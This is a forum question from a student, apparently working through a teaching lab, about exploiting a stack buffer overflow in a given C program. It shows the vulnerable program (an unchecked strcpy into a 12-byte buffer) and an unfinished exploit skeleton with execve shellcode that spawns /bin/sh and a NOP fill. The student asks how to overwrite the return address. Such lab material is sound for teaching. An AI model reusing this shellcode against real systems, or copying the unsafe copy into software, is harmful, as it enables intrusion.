Exploiting a BufferOverflow [closed]

I'm working on a project in which I'm supposed to write a C program to exploit the vulnerability of a given program.

Here is the vulnerable C program:

#include <stdlib.h>
#include <stdio.h>

int bof(char *str)
{
  char buffer[12];
  strcpy(buffer, str);
  return 1;
}

int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}

And here is the code for exploit:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"  /* xorl  %eax,%eax   */
"\x50"      /* pushl %eax        */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3"  /* movl  %esp,%ebx   */
"\x50"      /* pushl %eax        */
"\x53"      /* pushl %ebx        */
"\x89\xe1"  /* movl  %esp,%ecx   */
"\x99"      /* cdql              */
"\xb0\x0b"  /* movb  $0x0b,%al   */
"\xcd\x80"  /* int   $0x80       */
;

void main(int argc, char **argv)
{
   char buffer[517];
   FILE *badfile;

   /* Initialize buffer with 0x90 (NOP instruction) */
   memset(&buffer, 0x90, 517);

   /* Fill the buffer with appropriate contents here */

   /* Save the contents to the file "badfile" */
   badfile = fopen("./badfile", "w");
   fwrite(buffer, 517, 1, badfile);
   fclose(badfile);
}

So, I need to fill the buffer with appropriate contents before saving to the "badfile". I've read a lot about buffer overflows and I guess I need to modify the return address of the vulnerable program. But I really don't know how I'm supposed to do it. Shall I first find the original return address or is there something else that I can do? Also, any ideas/suggestions about how I'm supposed to implement the buffer?